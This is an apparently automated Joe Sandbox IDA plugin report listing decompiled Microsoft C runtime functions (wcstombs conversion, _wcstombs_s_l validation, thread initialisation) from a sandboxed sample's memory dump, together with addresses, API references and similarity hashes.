Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: __free_base_memset
String ID: _pLastBlock == pHead$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 2669475236-449961717
Opcode ID: d70bfa811c7d498052ed5e2e79548bd3d94200a25ccc01f3539a9b6446d58a27
Instruction ID: 7877048c02f0516e3e0256de88c748bbceb9d665a1d94c3405516f81bf6b3b6c
Opcode Fuzzy Hash: d70bfa811c7d498052ed5e2e79548bd3d94200a25ccc01f3539a9b6446d58a27
Instruction Fuzzy Hash: 1201A7B8A40108EBC704CB54DDC5F9AB7B1BF88308F34819AE9056B381D675DF41DB89

Uniqueness

Uniqueness Score: -1.00%

Function 004371A6, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E004371A6(intOrPtr __ebx, void* __edx, intOrPtr __edi, intOrPtr __esi) {
				intOrPtr* _t155;
				signed int* _t157;
				signed int _t162;
				intOrPtr* _t179;
				intOrPtr _t201;
				void* _t220;
				intOrPtr _t221;
				void* _t222;
				intOrPtr _t240;
				intOrPtr _t247;
				intOrPtr _t290;
				intOrPtr _t291;
				signed int _t292;
				void* _t294;

				_t291 = __esi;
				_t290 = __edi;
				_t221 = __ebx;
				if( *(_t292 + 0x10) != 0) {
					 *(_t292 - 0x30) = 0 |  *(_t292 + 0xc) != 0x00000000;
					if( *(_t292 - 0x30) == 0) {
						_push(L"pwcs != NULL");
						_push(0);
						_push(0x66);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
						_push(2);
						_t220 = L0041E390();
						_t294 = _t294 + 0x14;
						if(_t220 == 1) {
							asm("int3");
						}
					}
					if( *(_t292 - 0x30) != 0) {
						_t274 =  *(_t292 + 0x14);
						L0041AD50(_t292 - 0x20,  *(_t292 + 0x14));
						if( *(_t292 + 8) == 0) {
							_t155 = E0041AE60(_t292 - 0x20);
							_t225 =  *_t155;
							if( *((intOrPtr*)( *_t155 + 0x14)) != 0) {
								_t227 = _t292 - 0x20;
								_t157 = E0041AE60(_t292 - 0x20);
								_t274 =  *_t157;
								 *(_t292 - 4) = WideCharToMultiByte( *( *_t157 + 4), 0,  *(_t292 + 0xc), 0xffffffff, 0, 0, 0, _t292 - 0x10);
								if( *(_t292 - 4) == 0 ||  *(_t292 - 0x10) != 0) {
									 *((intOrPtr*)(L00422E80(_t227))) = 0x2a;
									 *(_t292 - 0x68) = 0xffffffff;
									E0041AE30(_t292 - 0x20);
									_t162 =  *(_t292 - 0x68);
								} else {
									 *(_t292 - 0x6c) =  *(_t292 - 4) - 1;
									E0041AE30(_t292 - 0x20);
									_t162 =  *(_t292 - 0x6c);
								}
							} else {
								_t274 =  *(_t292 + 0xc);
								 *(_t292 - 0x64) = E0042DB70(_t225,  *(_t292 + 0xc));
								E0041AE30(_t292 - 0x20);
								_t162 =  *(_t292 - 0x64);
							}
						} else {
							if( *((intOrPtr*)( *((intOrPtr*)(E0041AE60(_t292 - 0x20))) + 0x14)) != 0) {
								if( *((intOrPtr*)( *((intOrPtr*)(E0041AE60(_t292 - 0x20))) + 0xac)) != 1) {
									_t240 =  *((intOrPtr*)(E0041AE60(_t292 - 0x20)));
									_t274 =  *(_t240 + 4);
									 *(_t292 - 4) = WideCharToMultiByte( *(_t240 + 4), 0,  *(_t292 + 0xc), 0xffffffff,  *(_t292 + 8),  *(_t292 + 0x10), 0, _t292 - 0x10);
									if( *(_t292 - 4) == 0 ||  *(_t292 - 0x10) != 0) {
										if( *(_t292 - 0x10) != 0 || GetLastError() != 0x7a) {
											 *((intOrPtr*)(L00422E80(_t240))) = 0x2a;
											 *(_t292 - 0x4c) = 0xffffffff;
											E0041AE30(_t292 - 0x20);
											_t162 =  *(_t292 - 0x4c);
										} else {
											while( *(_t292 - 4) <  *(_t292 + 0x10)) {
												_t179 = E0041AE60(_t292 - 0x20);
												_t247 =  *((intOrPtr*)(E0041AE60(_t292 - 0x20)));
												_t274 =  *(_t247 + 4);
												 *((intOrPtr*)(_t292 - 0xc)) = WideCharToMultiByte( *(_t247 + 4), 0,  *(_t292 + 0xc), 1, _t292 - 0x2c,  *( *_t179 + 0xac), 0, _t292 - 0x10);
												if( *((intOrPtr*)(_t292 - 0xc)) == 0 ||  *(_t292 - 0x10) != 0) {
													 *((intOrPtr*)(L00422E80(_t247))) = 0x2a;
													 *(_t292 - 0x50) = 0xffffffff;
													E0041AE30(_t292 - 0x20);
													_t162 =  *(_t292 - 0x50);
												} else {
													if( *((intOrPtr*)(_t292 - 0xc)) < 0 ||  *((intOrPtr*)(_t292 - 0xc)) > 5) {
														 *((intOrPtr*)(L00422E80(_t247))) = 0x2a;
														 *(_t292 - 0x54) = 0xffffffff;
														E0041AE30(_t292 - 0x20);
														_t162 =  *(_t292 - 0x54);
													} else {
														if( *(_t292 - 4) +  *((intOrPtr*)(_t292 - 0xc)) <=  *(_t292 + 0x10)) {
															 *(_t292 - 8) = 0;
															while( *(_t292 - 8) <  *((intOrPtr*)(_t292 - 0xc))) {
																( *(_t292 + 8))[ *(_t292 - 4)] =  *((intOrPtr*)(_t292 +  *(_t292 - 8) - 0x2c));
																_t274 =  &(( *(_t292 + 8))[ *(_t292 - 4)]);
																if(( *(_t292 + 8))[ *(_t292 - 4)] != 0) {
																	 *(_t292 - 8) =  *(_t292 - 8) + 1;
																	 *(_t292 - 4) =  *(_t292 - 4) + 1;
																	continue;
																}
																 *(_t292 - 0x5c) =  *(_t292 - 4);
																E0041AE30(_t292 - 0x20);
																_t162 =  *(_t292 - 0x5c);
																goto L55;
															}
															_t274 =  &(( *(_t292 + 0xc))[1]);
															 *(_t292 + 0xc) =  &(( *(_t292 + 0xc))[1]);
															continue;
														}
														 *(_t292 - 0x58) =  *(_t292 - 4);
														E0041AE30(_t292 - 0x20);
														_t162 =  *(_t292 - 0x58);
													}
												}
												goto L55;
											}
											 *(_t292 - 0x60) =  *(_t292 - 4);
											E0041AE30(_t292 - 0x20);
											_t162 =  *(_t292 - 0x60);
										}
									} else {
										 *(_t292 - 0x48) =  *(_t292 - 4) - 1;
										E0041AE30(_t292 - 0x20);
										_t162 =  *(_t292 - 0x48);
									}
									goto L55;
								}
								if( *(_t292 + 0x10) > 0) {
									 *(_t292 + 0x10) = E00437610( *(_t292 + 0xc),  *(_t292 + 0x10));
								}
								_t274 =  *(_t292 + 0xc);
								_t201 =  *((intOrPtr*)(E0041AE60(_t292 - 0x20)));
								_t260 =  *(_t201 + 4);
								 *(_t292 - 4) = WideCharToMultiByte( *(_t201 + 4), 0,  *(_t292 + 0xc),  *(_t292 + 0x10),  *(_t292 + 8),  *(_t292 + 0x10), 0, _t292 - 0x10);
								if( *(_t292 - 4) == 0 ||  *(_t292 - 0x10) != 0) {
									 *((intOrPtr*)(L00422E80(_t260))) = 0x2a;
									 *(_t292 - 0x44) = 0xffffffff;
									E0041AE30(_t292 - 0x20);
									_t162 =  *(_t292 - 0x44);
								} else {
									if( *((char*)( &(( *(_t292 + 8))[ *(_t292 - 4)]) - 1)) == 0) {
										 *(_t292 - 4) =  *(_t292 - 4) - 1;
									}
									_t274 =  *(_t292 - 4);
									 *(_t292 - 0x40) =  *(_t292 - 4);
									E0041AE30(_t292 - 0x20);
									_t162 =  *(_t292 - 0x40);
								}
								goto L55;
							} else {
								goto L10;
							}
							while(1) {
								L10:
								_t265 =  *(_t292 - 4);
								if( *(_t292 - 4) >=  *(_t292 + 0x10)) {
									break;
								}
								_t274 =  *(_t292 + 0xc);
								if(( *( *(_t292 + 0xc)) & 0x0000ffff) <= 0xff) {
									( *(_t292 + 8))[ *(_t292 - 4)] =  *( *(_t292 + 0xc));
									_t274 =  *( *(_t292 + 0xc)) & 0x0000ffff;
									 *(_t292 + 0xc) =  &(( *(_t292 + 0xc))[1]);
									if(( *( *(_t292 + 0xc)) & 0x0000ffff) != 0) {
										_t274 =  *(_t292 - 4) + 1;
										 *(_t292 - 4) =  *(_t292 - 4) + 1;
										continue;
									}
									 *(_t292 - 0x38) =  *(_t292 - 4);
									E0041AE30(_t292 - 0x20);
									_t162 =  *(_t292 - 0x38);
									goto L55;
								}
								 *((intOrPtr*)(L00422E80(_t265))) = 0x2a;
								 *(_t292 - 0x34) = 0xffffffff;
								E0041AE30(_t292 - 0x20);
								_t162 =  *(_t292 - 0x34);
								goto L55;
							}
							 *(_t292 - 0x3c) =  *(_t292 - 4);
							E0041AE30(_t292 - 0x20);
							_t162 =  *(_t292 - 0x3c);
						}
					} else {
						 *((intOrPtr*)(L00422E80(_t222))) = 0x16;
						_t162 = E00422C10(_t221, _t222, _t290, _t291, L"pwcs != NULL", L"_wcstombs_l_helper", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x66, 0) | 0xffffffff;
					}
					goto L55;
				} else {
					_t162 = 0;
					L55:
					return E0042BCD0(_t162, _t221,  *(_t292 - 0x24) ^ _t292, _t274, _t290, _t291);
				}
			}

0x004371a6
0x004371a6
0x004371a6
0x004371aa
0x004371bc
0x004371c3
0x004371c5
0x004371ca
0x004371cc
0x004371ce
0x004371d3
0x004371d5
0x004371da
0x004371e0
0x004371e2
0x004371e2
0x004371e0
0x004371e7
0x00437217
0x0043721e
0x00437227
0x0043755e
0x00437563
0x00437569
0x0043759b
0x0043759e
0x004375a3
0x004375af
0x004375b6
0x004375c3
0x004375c9
0x004375d3
0x004375d8
0x004375dd
0x004375e3
0x004375e9
0x004375ee
0x004375ee
0x0043756b
0x0043756b
0x00437577
0x0043757d
0x00437582
0x00437582
0x0043722d
0x0043723b
0x004372e5
0x004373b1
0x004373b3
0x004373bd
0x004373c4
0x004373e9
0x004373fb
0x00437401
0x0043740b
0x00437410
0x00437418
0x00437418
0x0043742d
0x0043744f
0x00437451
0x0043745b
0x00437462
0x0043746f
0x00437475
0x0043747f
0x00437484
0x0043748c
0x00437490
0x0043749d
0x004374a3
0x004374ad
0x004374b2
0x004374ba
0x004374c3
0x004374db
0x004374f6
0x0043750b
0x00437510
0x00437518
0x004374ea
0x004374f3
0x00000000
0x004374f3
0x0043751d
0x00437523
0x00437528
0x00000000
0x00437528
0x00437535
0x00437538
0x00000000
0x00437538
0x004374c8
0x004374ce
0x004374d3
0x004374d3
0x00437490
0x00000000
0x00437462
0x00437543
0x00437549
0x0043754e
0x0043754e
0x004373cc
0x004373d2
0x004373d8
0x004373dd
0x004373dd
0x00000000
0x004373c4
0x004372ef
0x00437301
0x00437301
0x00437316
0x00437324
0x00437326
0x00437330
0x00437337
0x00437371
0x00437377
0x00437381
0x00437386
0x0043733f
0x0043734b
0x00437353
0x00437353
0x00437356
0x00437359
0x0043735f
0x00437364
0x00437364
0x00000000
0x00000000
0x00000000
0x00000000
0x00437241
0x00437241
0x00437241
0x00437247
0x00000000
0x00000000
0x00437249
0x00437254
0x00437283
0x00437288
0x00437291
0x00437296
0x004372b1
0x004372b4
0x00000000
0x004372b4
0x0043729b
0x004372a1
0x004372a6
0x00000000
0x004372a6
0x0043725b
0x00437261
0x0043726b
0x00437270
0x00000000
0x00437270
0x004372bc
0x004372c2
0x004372c7
0x004372c7
0x004371e9
0x004371ee
0x0043720f
0x0043720f
0x00000000
0x004371ac
0x004371ac
0x004375fb
0x00437608
0x00437608

APIs

__invalid_parameter.LIBCMTD ref: 00437207

Strings

pwcs != NULL, xrefs: 004371C5, 00437202
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 004371CE, 004371F8
_wcstombs_l_helper, xrefs: 004371FD

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: __invalid_parameter
String ID: _wcstombs_l_helper$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c$pwcs != NULL
API String ID: 3730194576-2632876063
Opcode ID: e4484137fcae6f7596914df80b2f38fdf3102b4ce6227cec6d69d428197c26ea
Instruction ID: 227009bf9cd133dabc97353e62c26ab4348ff6cc7279c09b7ffa7291546a3898
Opcode Fuzzy Hash: e4484137fcae6f7596914df80b2f38fdf3102b4ce6227cec6d69d428197c26ea
Instruction Fuzzy Hash: 80F02870A8431CFADB302A60DD03B5F3150A758B14F10262FFD86752C2CBFE4550855D

Uniqueness

Uniqueness Score: -1.00%

Function 00437685, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E00437685(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				signed int _t85;
				intOrPtr _t86;
				void* _t91;
				signed int _t95;
				void* _t103;
				void* _t110;
				void* _t111;
				void* _t112;
				signed int _t121;
				signed int _t123;
				signed int _t127;
				signed int _t128;
				signed int _t129;
				signed int _t132;
				signed int _t134;
				signed int _t140;
				void* _t142;
				void* _t143;
				void* _t144;
				void* _t146;
				void* _t147;

				_t143 = __esi;
				_t142 = __edi;
				_t112 = __ecx;
				_t111 = __ebx;
				if( *(_t144 + 0x10) > 0 ||  *(_t144 + 0xc) == 0 &&  *(_t144 + 0x10) == 0) {
					 *((intOrPtr*)(_t144 - 0x1c)) = 1;
				} else {
					 *((intOrPtr*)(_t144 - 0x1c)) = 0;
				}
				 *((intOrPtr*)(_t144 - 0x10)) =  *((intOrPtr*)(_t144 - 0x1c));
				if( *((intOrPtr*)(_t144 - 0x10)) == 0) {
					_push(L"(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)");
					_push(0);
					_push(0x133);
					_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
					_push(2);
					_t110 = L0041E390();
					_t146 = _t146 + 0x14;
					if(_t110 == 1) {
						asm("int3");
					}
				}
				if( *((intOrPtr*)(_t144 - 0x10)) != 0) {
					__eflags =  *(_t144 + 0xc);
					if( *(_t144 + 0xc) != 0) {
						_t128 =  *(_t144 + 0xc);
						 *_t128 = 0;
						__eflags =  *(_t144 + 0x10) - 0xffffffff;
						if( *(_t144 + 0x10) != 0xffffffff) {
							__eflags =  *(_t144 + 0x10) - 0x7fffffff;
							if( *(_t144 + 0x10) != 0x7fffffff) {
								__eflags =  *(_t144 + 0x10) - 1;
								if( *(_t144 + 0x10) > 1) {
									__eflags =  *0x440208 -  *(_t144 + 0x10) - 1; // 0xffffffff
									if(__eflags >= 0) {
										_t128 =  *(_t144 + 0x10) - 1;
										__eflags = _t128;
										 *(_t144 - 0x20) = _t128;
									} else {
										_t127 =  *0x440208; // 0xffffffff
										 *(_t144 - 0x20) = _t127;
									}
									__eflags =  *(_t144 + 0xc) + 1;
									E0041B520(_t142,  *(_t144 + 0xc) + 1, 0xfe,  *(_t144 - 0x20));
									_t146 = _t146 + 0xc;
								}
							}
						}
					}
					__eflags =  *(_t144 + 8);
					if( *(_t144 + 8) != 0) {
						_t128 =  *(_t144 + 8);
						 *_t128 = 0;
					}
					__eflags =  *(_t144 + 0x18) -  *(_t144 + 0x10);
					if( *(_t144 + 0x18) <=  *(_t144 + 0x10)) {
						_t128 =  *(_t144 + 0x18);
						 *(_t144 - 0x24) = _t128;
					} else {
						 *(_t144 - 0x24) =  *(_t144 + 0x10);
					}
					 *(_t144 - 8) =  *(_t144 - 0x24);
					__eflags = 0x7fffffff -  *(_t144 - 8);
					asm("sbb edx, edx");
					_t129 = _t128 + 1;
					__eflags = _t129;
					 *(_t144 - 0x14) = _t129;
					if(_t129 == 0) {
						_push(L"bufferSize <= INT_MAX");
						_push(0);
						_push(0x13f);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
						_push(2);
						_t103 = L0041E390();
						_t146 = _t146 + 0x14;
						__eflags = _t103 - 1;
						if(_t103 == 1) {
							asm("int3");
						}
					}
					__eflags =  *(_t144 - 0x14);
					if( *(_t144 - 0x14) != 0) {
						_t115 =  *(_t144 + 0xc);
						_t85 = L00437180(_t111,  *(_t144 - 8), _t142, _t143,  *(_t144 + 0xc),  *((intOrPtr*)(_t144 + 0x14)),  *(_t144 - 8),  *((intOrPtr*)(_t144 + 0x1c)));
						_t147 = _t146 + 0x10;
						 *(_t144 - 0xc) = _t85;
						__eflags =  *(_t144 - 0xc) - 0xffffffff;
						if( *(_t144 - 0xc) != 0xffffffff) {
							_t132 =  *(_t144 - 0xc) + 1;
							 *(_t144 - 0xc) = _t132;
							__eflags =  *(_t144 + 0xc);
							if( *(_t144 + 0xc) == 0) {
								L56:
								__eflags =  *(_t144 + 8);
								if( *(_t144 + 8) != 0) {
									 *( *(_t144 + 8)) =  *(_t144 - 0xc);
								}
								_t86 =  *((intOrPtr*)(_t144 - 4));
								goto L59;
							}
							__eflags =  *(_t144 - 0xc) -  *(_t144 + 0x10);
							if( *(_t144 - 0xc) <=  *(_t144 + 0x10)) {
								L55:
								_t134 =  *(_t144 + 0xc) +  *(_t144 - 0xc);
								__eflags = _t134;
								 *((char*)(_t134 - 1)) = 0;
								goto L56;
							}
							__eflags =  *(_t144 + 0x18) - 0xffffffff;
							if( *(_t144 + 0x18) == 0xffffffff) {
								L54:
								 *(_t144 - 0xc) =  *(_t144 + 0x10);
								 *((intOrPtr*)(_t144 - 4)) = 0x50;
								goto L55;
							}
							 *( *(_t144 + 0xc)) = 0;
							__eflags =  *(_t144 + 0x10) - 0xffffffff;
							if( *(_t144 + 0x10) != 0xffffffff) {
								__eflags =  *(_t144 + 0x10) - 0x7fffffff;
								if( *(_t144 + 0x10) != 0x7fffffff) {
									__eflags =  *(_t144 + 0x10) - 1;
									if( *(_t144 + 0x10) > 1) {
										__eflags =  *0x440208 -  *(_t144 + 0x10) - 1; // 0xffffffff
										if(__eflags >= 0) {
											_t121 =  *(_t144 + 0x10) - 1;
											__eflags = _t121;
											 *(_t144 - 0x2c) = _t121;
										} else {
											_t95 =  *0x440208; // 0xffffffff
											 *(_t144 - 0x2c) = _t95;
										}
										_t132 =  *(_t144 - 0x2c);
										__eflags =  *(_t144 + 0xc) + 1;
										E0041B520(_t142,  *(_t144 + 0xc) + 1, 0xfe, _t132);
										_t147 = _t147 + 0xc;
									}
								}
							}
							_t119 =  *(_t144 + 0x10);
							__eflags =  *(_t144 - 0xc) -  *(_t144 + 0x10);
							asm("sbb edx, edx");
							 *(_t144 - 0x18) =  ~_t132;
							if( *(_t144 - 0xc) ==  *(_t144 + 0x10)) {
								_push(L"sizeInBytes > retsize");
								_push(0);
								_push(0x157);
								_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
								_push(2);
								_t91 = L0041E390();
								_t147 = _t147 + 0x14;
								__eflags = _t91 - 1;
								if(_t91 == 1) {
									asm("int3");
								}
							}
							__eflags =  *(_t144 - 0x18);
							if( *(_t144 - 0x18) != 0) {
								goto L54;
							} else {
								 *((intOrPtr*)(L00422E80(_t119))) = 0x22;
								E00422C10(_t111, _t119, _t142, _t143, L"sizeInBytes > retsize", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x157, 0);
								_t86 = 0x22;
								goto L59;
							}
						} else {
							__eflags =  *(_t144 + 0xc);
							if( *(_t144 + 0xc) != 0) {
								 *( *(_t144 + 0xc)) = 0;
								__eflags =  *(_t144 + 0x10) - 0xffffffff;
								if( *(_t144 + 0x10) != 0xffffffff) {
									__eflags =  *(_t144 + 0x10) - 0x7fffffff;
									if( *(_t144 + 0x10) != 0x7fffffff) {
										__eflags =  *(_t144 + 0x10) - 1;
										if( *(_t144 + 0x10) > 1) {
											__eflags =  *0x440208 -  *(_t144 + 0x10) - 1; // 0xffffffff
											if(__eflags >= 0) {
												_t140 =  *(_t144 + 0x10) - 1;
												__eflags = _t140;
												 *(_t144 - 0x28) = _t140;
											} else {
												_t123 =  *0x440208; // 0xffffffff
												 *(_t144 - 0x28) = _t123;
											}
											_t115 =  *(_t144 + 0xc) + 1;
											__eflags =  *(_t144 + 0xc) + 1;
											E0041B520(_t142,  *(_t144 + 0xc) + 1, 0xfe,  *(_t144 - 0x28));
										}
									}
								}
							}
							_t86 =  *((intOrPtr*)(L00422E80(_t115)));
							goto L59;
						}
					} else {
						 *((intOrPtr*)(L00422E80(0x7fffffff))) = 0x16;
						E00422C10(_t111, 0x7fffffff, _t142, _t143, L"bufferSize <= INT_MAX", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x13f, 0);
						_t86 = 0x16;
						goto L59;
					}
				} else {
					 *((intOrPtr*)(L00422E80(_t112))) = 0x16;
					E00422C10(_t111, _t112, _t142, _t143, L"(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x133, 0);
					_t86 = 0x16;
					L59:
					return _t86;
				}
			}

0x00437685
0x00437685
0x00437685
0x00437685
0x00437689
0x004376a0
0x00437697
0x00437697
0x00437697
0x004376aa
0x004376b1
0x004376b3
0x004376b8
0x004376ba
0x004376bf
0x004376c4
0x004376c6
0x004376cb
0x004376d1
0x004376d3
0x004376d3
0x004376d1
0x004376d8
0x0043770d
0x00437711
0x00437713
0x00437716
0x00437719
0x0043771d
0x0043771f
0x00437726
0x00437728
0x0043772c
0x00437734
0x0043773a
0x0043774a
0x0043774a
0x0043774d
0x0043773c
0x0043773c
0x00437742
0x00437742
0x0043775c
0x00437760
0x00437765
0x00437765
0x0043772c
0x00437726
0x0043771d
0x00437768
0x0043776c
0x0043776e
0x00437771
0x00437771
0x0043777a
0x0043777d
0x00437787
0x0043778a
0x0043777f
0x00437782
0x00437782
0x00437790
0x00437798
0x0043779b
0x0043779d
0x0043779d
0x004377a0
0x004377a3
0x004377a5
0x004377aa
0x004377ac
0x004377b1
0x004377b6
0x004377b8
0x004377bd
0x004377c0
0x004377c3
0x004377c5
0x004377c5
0x004377c3
0x004377c6
0x004377ca
0x0043780b
0x0043780f
0x00437814
0x00437817
0x0043781a
0x0043781e
0x0043788a
0x0043788d
0x00437890
0x00437894
0x00437981
0x00437981
0x00437985
0x0043798d
0x0043798d
0x0043798f
0x00000000
0x0043798f
0x0043789d
0x004378a0
0x00437977
0x0043797a
0x0043797a
0x0043797d
0x00000000
0x0043797d
0x004378a6
0x004378aa
0x0043796a
0x0043796d
0x00437970
0x00000000
0x00437970
0x004378b3
0x004378b6
0x004378ba
0x004378bc
0x004378c3
0x004378c5
0x004378c9
0x004378d1
0x004378d7
0x004378e6
0x004378e6
0x004378e9
0x004378d9
0x004378d9
0x004378de
0x004378de
0x004378ec
0x004378f8
0x004378fc
0x00437901
0x00437901
0x004378c9
0x004378c3
0x00437904
0x00437907
0x0043790a
0x0043790e
0x00437911
0x00437913
0x00437918
0x0043791a
0x0043791f
0x00437924
0x00437926
0x0043792b
0x0043792e
0x00437931
0x00437933
0x00437933
0x00437931
0x00437934
0x00437938
0x00000000
0x0043793a
0x0043793f
0x0043795b
0x00437963
0x00000000
0x00437963
0x00437820
0x00437820
0x00437824
0x00437829
0x0043782c
0x00437830
0x00437832
0x00437839
0x0043783b
0x0043783f
0x00437847
0x0043784d
0x0043785d
0x0043785d
0x00437860
0x0043784f
0x0043784f
0x00437855
0x00437855
0x0043786f
0x0043786f
0x00437873
0x00437878
0x0043783f
0x00437839
0x00437830
0x00437880
0x00000000
0x00437880
0x004377cc
0x004377d1
0x004377ed
0x004377f5
0x00000000
0x004377f5
0x004376da
0x004376df
0x004376fb
0x00437703
0x00437992
0x00437995
0x00437995

APIs

__invalid_parameter.LIBCMTD ref: 004376FB

Strings

_wcstombs_s_l, xrefs: 004376F1
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 004376BF, 004376EC
(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0), xrefs: 004376B3, 004376F6

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: __invalid_parameter
String ID: (dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
API String ID: 3730194576-625432840
Opcode ID: 63515d5285ef2b86e4d02042c50a5d220691051b71686e9ca3c6f78c061dd0c2
Instruction ID: d8aba69204c098ddf41406ee80992456ec4dd60f709d121511b4dd74338e956e
Opcode Fuzzy Hash: 63515d5285ef2b86e4d02042c50a5d220691051b71686e9ca3c6f78c061dd0c2
Instruction Fuzzy Hash: 87016DB0A4470D9BEB305E44CC077AFB260AB54B29F11652BE994392C1D7FE4690CA9E

Uniqueness

Uniqueness Score: -1.00%

Function 0041A9A1, Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

___libm_error_support.LIBCMTD ref: 0041AA55

Part of subcall function 004214C0: __encode_pointer.LIBCMTD ref: 004215A1

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: ___libm_error_support__encode_pointer
String ID:
API String ID: 3390238661-0
Opcode ID: d10db547fd6038b721a2ee79ec0ff0d9e5d1d90bec7508eae5752aeaad389b6b
Instruction ID: 1243fc897e7b99ffab14b88123602c0277d8c5692b52e9038178aba7f4df6253
Opcode Fuzzy Hash: d10db547fd6038b721a2ee79ec0ff0d9e5d1d90bec7508eae5752aeaad389b6b
Instruction Fuzzy Hash: DC413A31C09744DACB12AB39DA1516EB7B0FF95384F40C77BF88865211EB3489A9C34B

Uniqueness

Uniqueness Score: -1.00%

Function 0042497A, Relevance: 6.0, APIs: 4, Instructions: 32
threadCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E0042497A(intOrPtr __eax) {
				void* _t10;
				intOrPtr _t11;
				intOrPtr _t16;
				void* _t21;

				 *((intOrPtr*)(_t21 - 8)) = __eax;
				if( *((intOrPtr*)(_t21 - 8)) == 0) {
					L2:
					E004249E0();
					_t10 = 0;
				} else {
					_push( *((intOrPtr*)(_t21 - 8)));
					_t11 =  *0x440cb0; // 0x1
					_push(_t11);
					_t16 =  *0x54adfc; // 0xf81e0adb
					if( *((intOrPtr*)(E004246D0(_t16)))() != 0) {
						E00424A40(_t16,  *((intOrPtr*)(_t21 - 8)), 0);
						 *((intOrPtr*)( *((intOrPtr*)(_t21 - 8)))) = GetCurrentThreadId();
						 *((intOrPtr*)( *((intOrPtr*)(_t21 - 8)) + 4)) = 0xffffffff;
						_t10 = 1;
					} else {
						goto L2;
					}
				}
				return _t10;
			}

0x0042497d
0x00424984
0x004249a5
0x004249a5
0x004249aa
0x00424986
0x00424989
0x0042498a
0x0042498f
0x00424990
0x004249a3
0x004249b4
0x004249c5
0x004249ca
0x004249d1
0x00000000
0x00000000
0x00000000
0x004249a3
0x004249d9

APIs

__encode_pointer.LIBCMTD ref: 00424997

Part of subcall function 004246D0: TlsGetValue.KERNEL32(00000001,00424946,981E0ADB), ref: 004246E5
Part of subcall function 004246D0: TlsGetValue.KERNEL32(00000001,00000001), ref: 00424706
Part of subcall function 004246D0: __crt_wait_module_handle.LIBCMTD ref: 0042471C
Part of subcall function 004246D0: GetProcAddress.KERNEL32(00000000,DecodePointer), ref: 00424736

__mtterm.LIBCMTD ref: 004249A5
__initptd.LIBCMTD ref: 004249B4
GetCurrentThreadId.KERNEL32 ref: 004249BC

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: Value$AddressCurrentProcThread__crt_wait_module_handle__encode_pointer__initptd__mtterm
String ID:
API String ID: 1673568325-0
Opcode ID: 6d59876788e537b443f9e3a37a4c219168e7f80cafe5cf665e6f389791c8a235
Instruction ID: b7f87a05063c4418415172943aa3c563c00105540ccc94f99fe59e3a9ed3e2d3
